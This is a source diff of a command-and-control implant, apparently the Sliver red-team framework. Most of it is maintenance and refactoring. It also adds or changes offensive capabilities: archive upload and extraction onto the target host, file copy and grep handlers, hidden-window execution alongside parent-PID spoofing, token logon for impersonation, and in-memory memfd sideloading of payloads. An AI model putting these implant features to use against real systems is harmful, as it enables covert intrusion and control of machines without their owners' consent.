// We should return the up to the caller
return filesWritten, filesSkipped, err
case header == nil:
// Just in case the error is nil, skip it
continue
}
// Validate file path
fileName := filepath.Join(path, header.Name)
if !strings.HasPrefix(fileName, filepath.Clean(path)+string(os.PathSeparator)) {
// Invalid path
continue
}
_, err = os.Stat(fileName)
// Take different actions based on whether this header entry is a directory or a file
switch header.Typeflag {
case tar.TypeDir:
if err != nil {
if err := os.MkdirAll(fileName, 0750); err != nil {
return filesWritten, filesSkipped, err
}
}
case tar.TypeReg:
if err == nil {
// Then the file exists
if !overwrite {
// If we are not overwriting files, then skip this entry
filesSkipped += 1
continue
}
}
// Check to make sure the destination directory exists, and if it does not, create it
destinationDir := filepath.Dir(fileName)
if _, err = os.Stat(destinationDir); errors.Is(err, fs.ErrNotExist) {
if err = os.MkdirAll(destinationDir, 0750); err != nil {
return filesWritten, filesSkipped, err
}
}
file, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
if err != nil {
file.Close()
return filesWritten, filesSkipped, err
}
if _, err := io.Copy(file, reader); err != nil {
file.Close()
return filesWritten, filesSkipped, err
}
file.Close()
filesWritten += 1
}
}
}
func uploadHandler(data []byte, resp RPCResponse) {
uploadReq := &sliverpb.UploadReq{}
err := proto.Unmarshal(data, uploadReq)
@@ -484,34 +915,111 @@ func uploadHandler(data []byte, resp RPCResponse) {
log.Printf("upload path error: %v", err)
// {{end}}
resp([]byte{}, err)
return
}
// Process Upload
upload := &sliverpb.Upload{Path: uploadPath}
uploadPathInfo, err := os.Stat(uploadPath)
if err != nil {
if !errors.Is(err, fs.ErrNotExist) {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else if errors.Is(err, fs.ErrNotExist) {
if uploadReq.IsDirectory {
// We need to make a directory for the files
err = os.MkdirAll(uploadPath, 0750)
if err != nil && !errors.Is(err, fs.ErrExist) {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
}
} else {
// If the file does not exist, that is fine because we will create it.
err = nil
}
}
} else if uploadPathInfo.IsDir() {
if !strings.HasSuffix(uploadPath, string(os.PathSeparator)) {
uploadPath += string(os.PathSeparator)
upload.Path = uploadPath
}
if !uploadReq.IsDirectory {
uploadPath += uploadReq.FileName
uploadPathInfo, err = os.Stat(uploadPath)
upload.Path = uploadPath
// We will deal with any error in a bit.
if err != nil && errors.Is(err, fs.ErrNotExist) {
// If the file does not exist, that is fine because we will create it.
err = nil
}
}
}
f, err := os.Create(uploadPath)
if uploadPathInfo != nil && !uploadPathInfo.IsDir() && !uploadReq.Overwrite {
// Then we are trying to overwrite a file that exists and
// the overwrite flag was not specified
err = fmt.Errorf("%s exists, but the overwrite flag was not set", uploadPath)
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
}
// If we have not resolved the error by now, then bail.
if err != nil {
data, _ = proto.Marshal(upload)
resp(data, err)
return
}
var uploadData []byte
if uploadReq.Encoder == "gzip" {
uploadData, err = gzipRead(uploadReq.Data)
} else {
uploadData = uploadReq.Data
}
// Check for decode errors
if err != nil {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
// Create file, write data to file system
defer f.Close()
var uploadData []byte
var err error
if uploadReq.Encoder == "gzip" {
uploadData, err = gzipRead(uploadReq.Data)
} else {
uploadData = uploadReq.Data
}
// Check for decode errors
if err != nil {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
if uploadReq.IsDirectory {
filesWritten, filesSkipped, err := extractFiles(uploadData, uploadPath, uploadReq.Overwrite)
if err != nil {
writtenQualifer := "s"
if filesWritten == 1 {
writtenQualifer = ""
}
skippedQualifier := "s"
if filesSkipped == 1 {
skippedQualifier = ""
}
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%d file%s written, %d file%s skipped: %v", filesWritten, writtenQualifer, filesSkipped, skippedQualifier, err),
}
upload.WrittenFiles = int32(filesWritten)
upload.UnwriteableFiles = int32(filesSkipped)
}
upload.WrittenFiles = int32(filesWritten)
upload.UnwriteableFiles = int32(filesSkipped)
} else {
f.Write(uploadData)
f, err := os.Create(uploadPath)
if err != nil {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
upload.UnwriteableFiles = 1
upload.WrittenFiles = 0
} else {
// Create file, write data to file system
f.Write(uploadData)
f.Close()
upload.WrittenFiles = 1
upload.UnwriteableFiles = 0
}
}
}
@@ -743,7 +1251,7 @@ func gzipWrite(w io.Writer, data []byte) error {
}
func gzipRead(data []byte) ([]byte, error) {
bytes.NewReader(data)
//bytes.NewReader(data)
reader, err := gzip.NewReader(bytes.NewReader(data))
if err != nil {
return nil, err
@@ -801,38 +1309,10 @@ func standarizeArchiveFileName(path string) string {
}
}
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
readFiles := 0
unreadableFiles := 0
func buildFileList(path string, filter string, recurse bool) ([]string, error) {
var matchingFiles []string
/*
There is an edge case where if you are trying to download a junction on Windows,
you will get access denied
To resolve this, we will resolve the junction or symlink before we do anything.
Even though resolving the symlink first is not necessary on *nix, it does not hurt
and will make it so that we do not have to detect if we are on Windows.
*/
pathInfo, err := os.Lstat(path)
if err != nil {
return readFiles, unreadableFiles, err
}
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
path, err = filepath.EvalSymlinks(path)
if err != nil {
return readFiles, unreadableFiles, err
}
// The path we get back from EvalSymlinks does not have a trailing separator
// Forward slash is fine even on Windows.
path += "/"
}
/*
Build the list of files to include in the archive.
Build the list of files to include in the archive or to search.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
@@ -844,12 +1324,12 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
testPath := strings.ReplaceAll(path, "\\", "/")
directory, err := os.Open(path)
if err != nil {
return readFiles, unreadableFiles, err
return nil, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return readFiles, unreadableFiles, err
return nil, err
}
for _, fileName := range directoryFiles {
@@ -882,6 +1362,44 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
})
}
return matchingFiles, nil
}
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
/*
There is an edge case where if you are trying to download a junction on Windows,
you will get access denied
To resolve this, we will resolve the junction or symlink before we do anything.
Even though resolving the symlink first is not necessary on *nix, it does not hurt
and will make it so that we do not have to detect if we are on Windows.
*/
pathInfo, err := os.Lstat(path)
if err != nil {
return readFiles, unreadableFiles, err
}
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
path, err = filepath.EvalSymlinks(path)
if err != nil {
return readFiles, unreadableFiles, err
}
// The path we get back from EvalSymlinks does not have a trailing separator
// Forward slash is fine even on Windows.
path += "/"
}
matchingFiles, err = buildFileList(path, filter, recurse)
if err != nil {
return readFiles, unreadableFiles, err
}
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
+7 -4
View File
@@ -21,8 +21,9 @@ package handlers
import (
"os"
"os/user"
"syscall"
"strconv"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,12 +43,14 @@ var (
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgScreenshotReq: screenshotHandler,
pb.MsgNetstatReq: netstatHandler,
@@ -67,7 +70,7 @@ var (
pb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
pb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
// Wireguard specific
pb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
pb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
@@ -151,7 +154,7 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func getUid(fileInfo os.FileInfo) (string) {
func getUid(fileInfo os.FileInfo) string {
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
uid_str := strconv.FormatUint(uint64(uid), 10)
usr, err := user.LookupId(uid_str)
@@ -161,7 +164,7 @@ func getUid(fileInfo os.FileInfo) (string) {
return usr.Name
}
func getGid(fileInfo os.FileInfo) (string) {
func getGid(fileInfo os.FileInfo) string {
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
gid_str := strconv.FormatUint(uint64(gid), 10)
grp, err := user.LookupGroupId(gid_str)
+5 -2
View File
@@ -28,6 +28,7 @@ package handlers
import (
"os"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
@@ -42,12 +43,14 @@ var (
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
@@ -67,11 +70,11 @@ func GetSystemPivotHandlers() map[uint32]TunnelHandler {
}
// Stub
func getUid(fileInfo os.FileInfo) (string) {
func getUid(fileInfo os.FileInfo) string {
return ""
}
// Stub
func getGid(fileInfo os.FileInfo) (string) {
func getGid(fileInfo os.FileInfo) string {
return ""
}
+3 -1
View File
@@ -55,6 +55,7 @@ var (
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgExecuteReq: executeHandler,
@@ -70,13 +71,14 @@ var (
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
sliverpb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
// Wireguard specific
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
+8 -4
View File
@@ -96,11 +96,13 @@ var (
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -112,7 +114,7 @@ var (
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
sliverpb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
// Wireguard specific
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
@@ -365,6 +367,8 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
if execReq.UseToken {
cmd.SysProcAttr.Token = syscall.Token(priv.CurrentToken)
}
// Hide the window if requested
cmd.SysProcAttr.HideWindow = execReq.HideWindow
if execReq.PPid != 0 {
err := spoof.SpoofParent(execReq.PPid, cmd)
if err != nil {
@@ -794,11 +798,11 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
}
// Stub since Windows doesn't support UID
func getUid(fileInfo os.FileInfo) (string) {
func getUid(fileInfo os.FileInfo) string {
return ""
}
// Stub since Windows doesn't support GID
func getGid(fileInfo os.FileInfo) (string) {
return ""
func getGid(fileInfo os.FileInfo) string {
return ""
}
+47 -29
View File
@@ -1,6 +1,6 @@
/* SPDX-License-Identifier: MIT
*
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
* Copyright (C) 2017-2023 WireGuard LLC. All Rights Reserved.
*/
package netstack
@@ -19,12 +19,13 @@ import (
"regexp"
"strconv"
"strings"
"syscall"
"time"
"golang.zx2c4.com/wireguard/tun"
"golang.org/x/net/dns/dnsmessage"
"gvisor.dev/gvisor/pkg/bufferv2"
"gvisor.dev/gvisor/pkg/buffer"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/header"
@@ -42,7 +43,7 @@ type netTun struct {
ep *channel.Endpoint
stack *stack.Stack
events chan tun.Event
incomingPacket chan *bufferv2.View
incomingPacket chan *buffer.View
mtu int
dnsServers []netip.Addr
hasV4, hasV6 bool
@@ -60,12 +61,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
ep: channel.New(1024, uint32(mtu), ""),
stack: stack.New(opts),
events: make(chan tun.Event, 10),
incomingPacket: make(chan *bufferv2.View),
incomingPacket: make(chan *buffer.View),
dnsServers: dnsServers,
mtu: mtu,
}
sackEnabledOpt := tcpip.TCPSACKEnabled(true) // TCP SACK is disabled by default
tcpipErr := dev.stack.SetTransportProtocolOption(tcp.ProtocolNumber, &sackEnabledOpt)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("could not enable TCP SACK: %v", tcpipErr)
}
dev.ep.AddNotify(dev)
tcpipErr := dev.stack.CreateNIC(1, dev.ep)
tcpipErr = dev.stack.CreateNIC(1, dev.ep)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
}
@@ -78,7 +84,7 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
}
protoAddr := tcpip.ProtocolAddress{
Protocol: protoNumber,
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
AddressWithPrefix: tcpip.AddrFromSlice(ip.AsSlice()).WithPrefix(),
}
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
if tcpipErr != nil {
@@ -109,39 +115,47 @@ func (tun *netTun) File() *os.File {
return nil
}
func (tun *netTun) Events() chan tun.Event {
func (tun *netTun) Events() <-chan tun.Event {
return tun.events
}
func (tun *netTun) Read(buf []byte, offset int) (int, error) {
func (tun *netTun) Read(buf [][]byte, sizes []int, offset int) (int, error) {
view, ok := <-tun.incomingPacket
if !ok {
return 0, os.ErrClosed
}
return view.Read(buf[offset:])
n, err := view.Read(buf[0][offset:])
if err != nil {
return 0, err
}
sizes[0] = n
return 1, nil
}
func (tun *netTun) Write(buf []byte, offset int) (int, error) {
packet := buf[offset:]
if len(packet) == 0 {
return 0, nil
}
func (tun *netTun) Write(buf [][]byte, offset int) (int, error) {
for _, buf := range buf {
packet := buf[offset:]
if len(packet) == 0 {
continue
}
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
switch packet[0] >> 4 {
case 4:
tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
case 6:
tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: buffer.MakeWithData(packet)})
switch packet[0] >> 4 {
case 4:
tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
case 6:
tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
default:
return 0, syscall.EAFNOSUPPORT
}
}
return len(buf), nil
}
func (tun *netTun) WriteNotify() {
pkt := tun.ep.Read()
if pkt == nil {
if pkt.IsNil() {
return
}
@@ -151,10 +165,6 @@ func (tun *netTun) WriteNotify() {
tun.incomingPacket <- view
}
func (tun *netTun) Flush() error {
return nil
}
func (tun *netTun) Close() error {
tun.stack.RemoveNIC(1)
@@ -164,6 +174,10 @@ func (tun *netTun) Close() error {
tun.ep.Close()
if tun.incomingPacket != nil {
close(tun.incomingPacket)
}
return nil
}
@@ -171,6 +185,10 @@ func (tun *netTun) MTU() (int, error) {
return tun.mtu, nil
}
func (tun *netTun) BatchSize() int {
return 1
}
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
var protoNumber tcpip.NetworkProtocolNumber
if endpoint.Addr().Is4() {
@@ -180,7 +198,7 @@ func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.Networ
}
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
Addr: tcpip.AddrFromSlice(endpoint.Addr().AsSlice()),
Port: endpoint.Port(),
}, protoNumber
}
@@ -435,7 +453,7 @@ func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
}
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
remoteAddr, _ := netip.AddrFromSlice(res.RemoteAddr.Addr.AsSlice())
return res.Count, &PingAddr{remoteAddr}, nil
}
@@ -894,7 +912,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
}
}
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
// We don't do RFC6724. Instead just put V6 addresses first if an IPv6 address is enabled
var addrs []netip.Addr
if tnet.hasV6 {
addrs = append(addrsV6, addrsV4...)
+2 -3
View File
@@ -34,7 +34,6 @@ import (
"errors"
"fmt"
"io"
"io/ioutil"
"net"
"os"
"path"
@@ -212,7 +211,7 @@ func getProcName(s []byte) string {
func (p *procFd) iterFdDir() {
// link name is of the form socket:[5860846]
fddir := path.Join(p.base, "/fd")
fi, err := ioutil.ReadDir(fddir)
fi, err := os.ReadDir(fddir)
if err != nil {
return
}
@@ -252,7 +251,7 @@ func (p *procFd) iterFdDir() {
func extractProcInfo(sktab []SockTabEntry) {
var basedir = "/proc"
fi, err := ioutil.ReadDir(basedir)
fi, err := os.ReadDir(basedir)
if err != nil {
return
}
+4 -6
View File
@@ -21,7 +21,6 @@ package pivots
import (
"bytes"
"crypto/rand"
"encoding/base64"
"encoding/binary"
"errors"
"io"
@@ -409,19 +408,18 @@ func (p *NetConnPivot) peerKeyExchange() error {
return ErrFailedKeyExchange
}
p.downstreamPeerID = peerHello.PeerID
sessionKey := cryptography.RandomKey()
sessionKey := cryptography.RandomSymmetricKey()
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
ciphertext, err := cryptography.AgeEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] peer encryption failure: %s", err)
// {{end}}
return ErrFailedKeyExchange
}
publicKeyRaw, _ := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
peerResponse, _ := proto.Marshal(&pb.PivotHello{
PublicKey: publicKeyRaw,
PublicKeySignature: cryptography.ECCPublicKeySignature,
PublicKey: []byte(cryptography.PeerAgePublicKey),
PublicKeySignature: cryptography.PeerAgePublicKeySignature,
SessionKey: ciphertext,
})
p.conn.SetWriteDeadline(time.Now().Add(tcpPivotWriteDeadline))
+1 -1
View File
@@ -259,7 +259,7 @@ func MakeToken(domain string, username string, password string, logonType uint32
if err != nil {
return err
}
if logonType == 0 {
if logonType == syscalls.LOGON32_LOGON_NEW_CREDENTIALS {
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_WINNT50, &token)
} else {
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
+1 -2
View File
@@ -17,7 +17,6 @@ import (
"encoding/json"
"errors"
"fmt"
"io/ioutil"
// {{if .Config.Debug}}
"log"
@@ -247,7 +246,7 @@ func (p *provider) unmarshalProxyConfigFile() (map[string]string, error) {
} else if stat.Size() > 1048576 {
return nil, errors.New(fmt.Sprintf("proxy configuration file too large: %s", f))
}
out, err := ioutil.ReadFile(f)
out, err := os.ReadFile(f)
if err != nil {
return nil, errors.New(fmt.Sprintf("failed to read proxy configuration file: %s: %s", f, err))
}
+8 -1
View File
@@ -17,11 +17,14 @@ import (
"bytes"
"context"
"fmt"
"log"
"net/url"
"regexp"
"strings"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
)
type providerDarwin struct {
@@ -137,6 +140,7 @@ Returns:
func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUrl *url.URL) Proxy {
proxy, err := p.parseScutildata(protocol, targetUrl, scUtilBinary, scUtilBinaryArgument)
if err != nil {
// {{if .Config.Debug}}
if isNotFound(err) {
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: %s proxy is not enabled.\n", protocol)
} else if isTimedOut(err) {
@@ -144,6 +148,7 @@ func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUr
} else {
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: Failed to parse Scutil data, %s\n", err)
}
// {{end}}
}
return proxy
}
@@ -257,7 +262,9 @@ func (p *providerDarwin) parseScutildata(protocol string, targetUrl *url.URL, na
}
if proxyBypass != "" {
bypass := p.isProxyBypass(targetUrl, proxyBypass, ",")
// {{if .Config.Debug}}
log.Printf("[proxy.Provider.parseProxyInfo]: ProxyBypass=\"%s\", targetUrl=%s, bypass=%t", proxyBypass, targetUrl, bypass)
// {{end}}
if bypass {
return nil, nil
}
+8 -1
View File
@@ -20,11 +20,14 @@ import (
"bytes"
"context"
"fmt"
"log"
"net/url"
"regexp"
"strings"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
)
type providerDarwin struct {
@@ -140,6 +143,7 @@ Returns:
func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUrl *url.URL) Proxy {
proxy, err := p.parseScutildata(protocol, targetUrl, scUtilBinary, scUtilBinaryArgument)
if err != nil {
// {{if .Config.Debug}}
if isNotFound(err) {
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: %s proxy is not enabled.\n", protocol)
} else if isTimedOut(err) {
@@ -147,6 +151,7 @@ func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUr
} else {
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: Failed to parse Scutil data, %s\n", err)
}
// {{end}}
}
return proxy
}
@@ -260,7 +265,9 @@ func (p *providerDarwin) parseScutildata(protocol string, targetUrl *url.URL, na
}
if proxyBypass != "" {
bypass := p.isProxyBypass(targetUrl, proxyBypass, ",")
// {{if .Config.Debug}}
log.Printf("[proxy.Provider.parseProxyInfo]: ProxyBypass=\"%s\", targetUrl=%s, bypass=%t", proxyBypass, targetUrl, bypass)
// {{end}}
if bypass {
return nil, nil
}
+5 -6
View File
@@ -16,7 +16,6 @@ import (
"errors"
"fmt"
"github.com/stretchr/testify/assert"
"io/ioutil"
"net/url"
"os"
"path/filepath"
@@ -48,7 +47,7 @@ var dataProviderReadConfigFileProxy = []struct {
}
func TestProvider_ReadConfigFileProxy(t *testing.T) {
tmpDir, err := ioutil.TempDir("", "TestReadConfigFileProxy")
tmpDir, err := os.MkdirTemp("", "TestReadConfigFileProxy")
defer os.RemoveAll(tmpDir)
for _, tt := range dataProviderReadConfigFileProxy {
t.Run(tt.content, func(t *testing.T) {
@@ -72,7 +71,7 @@ func TestProvider_ReadConfigFileProxy(t *testing.T) {
func TestProvider_ReadConfigFileProxy_noFile(t *testing.T) {
a := assert.New(t)
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
if !a.NoError(err) {
return
}
@@ -87,7 +86,7 @@ func TestProvider_ReadConfigFileProxy_noFile(t *testing.T) {
func TestProvider_ParseConfigFileProxies_isDir(t *testing.T) {
a := assert.New(t)
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
if !a.NoError(err) {
return
}
@@ -98,7 +97,7 @@ func TestProvider_ParseConfigFileProxies_isDir(t *testing.T) {
func TestProvider_ParseConfigFileProxies_emptyFile(t *testing.T) {
a := assert.New(t)
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
if !a.NoError(err) {
return
}
@@ -118,7 +117,7 @@ func TestProvider_ParseConfigFileProxies_emptyFile(t *testing.T) {
func TestProvider_ParseConfigFileProxies_tooLarge(t *testing.T) {
a := assert.New(t)
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
if !a.NoError(err) {
return
}
+2 -3
View File
@@ -5,7 +5,6 @@ package ps
import (
"fmt"
"io"
"io/ioutil"
"os"
"os/user"
"strconv"
@@ -86,7 +85,7 @@ func getProcessOwner(pid int) (string, error) {
func getProcessCmdLine(pid int) ([]string, error) {
cmdLinePath := fmt.Sprintf("/proc/%d/cmdline", pid)
data, err := ioutil.ReadFile(cmdLinePath)
data, err := os.ReadFile(cmdLinePath)
if err != nil {
return []string{""}, err
}
@@ -129,7 +128,7 @@ func getProcessArchitecture(pid int) (string, error) {
// Refresh reloads all the data associated with this process.
func (p *UnixProcess) Refresh() error {
statPath := fmt.Sprintf("/proc/%d/stat", p.pid)
dataBytes, err := ioutil.ReadFile(statPath)
dataBytes, err := os.ReadFile(statPath)
if err != nil {
return err
}
+4
View File
@@ -124,10 +124,14 @@ func getProcessOwner(pid uint32) (owner string, err error) {
if err != nil {
return
}
defer syscall.CloseHandle(handle)
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
return
}
defer token.Close()
tokenUser, err := getTokenOwner(token)
if err != nil {
return
+1 -2
View File
@@ -3,7 +3,6 @@ package ssh
import (
"bytes"
"fmt"
"io/ioutil"
// {{if .Config.Debug}}
"log"
@@ -31,7 +30,7 @@ func getClient(host string, port uint16, username string, password string, privK
authMethods = append(authMethods, ssh.PublicKeys(signer))
} else if krb5conf != "" && keytab != nil && realm != "" {
// Then try kerberos auth
krb5ConfData, err := ioutil.ReadFile(krb5conf)
krb5ConfData, err := os.ReadFile(krb5conf)
if err != nil {
return nil, err
}
+12 -11
View File
@@ -25,8 +25,7 @@ import "C"
// {{end}}
import (
"crypto/rand"
"encoding/binary"
"errors"
insecureRand "math/rand"
"os"
@@ -64,16 +63,10 @@ import (
var (
InstanceID string
connectionErrors = 0
ErrTerminate = errors.New("terminate")
)
func init() {
buf := make([]byte, 8)
n, err := rand.Read(buf)
if err != nil || n != len(buf) {
insecureRand.Seed(time.Now().Unix())
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
}
id, err := uuid.NewV4()
if err != nil {
buf := make([]byte, 16) // NewV4 fails if secure rand fails
@@ -238,6 +231,10 @@ func sessionStartup() {
if connection != nil {
err := sessionMainLoop(connection)
if err != nil {
if err == ErrTerminate {
connection.Cleanup()
return
}
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
@@ -545,6 +542,10 @@ func openSessionHandler(data []byte) {
connectionAttempts++
if connection != nil {
err := sessionMainLoop(connection)
if err == ErrTerminate {
connection.Cleanup()
return
}
if err == nil {
break
}
@@ -597,11 +598,11 @@ func sessionMainLoop(connection *transports.Connection) error {
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
if handler, ok := specialHandlers[envelope.Type]; ok {
if _, ok := specialHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] specialHandler %d", envelope.Type)
// {{end}}
handler(envelope.Data, connection)
return ErrTerminate
} else if handler, ok := pivotHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
+1 -2
View File
@@ -21,7 +21,6 @@ package taskrunner
import (
"bytes"
"fmt"
"io/ioutil"
"os"
"os/exec"
"runtime"
@@ -80,7 +79,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
pid := os.Getpid()
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
err = ioutil.WriteFile(fdPath, data, 0755)
err = os.WriteFile(fdPath, data, 0755)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error writing file to memfd: %s\n", err)
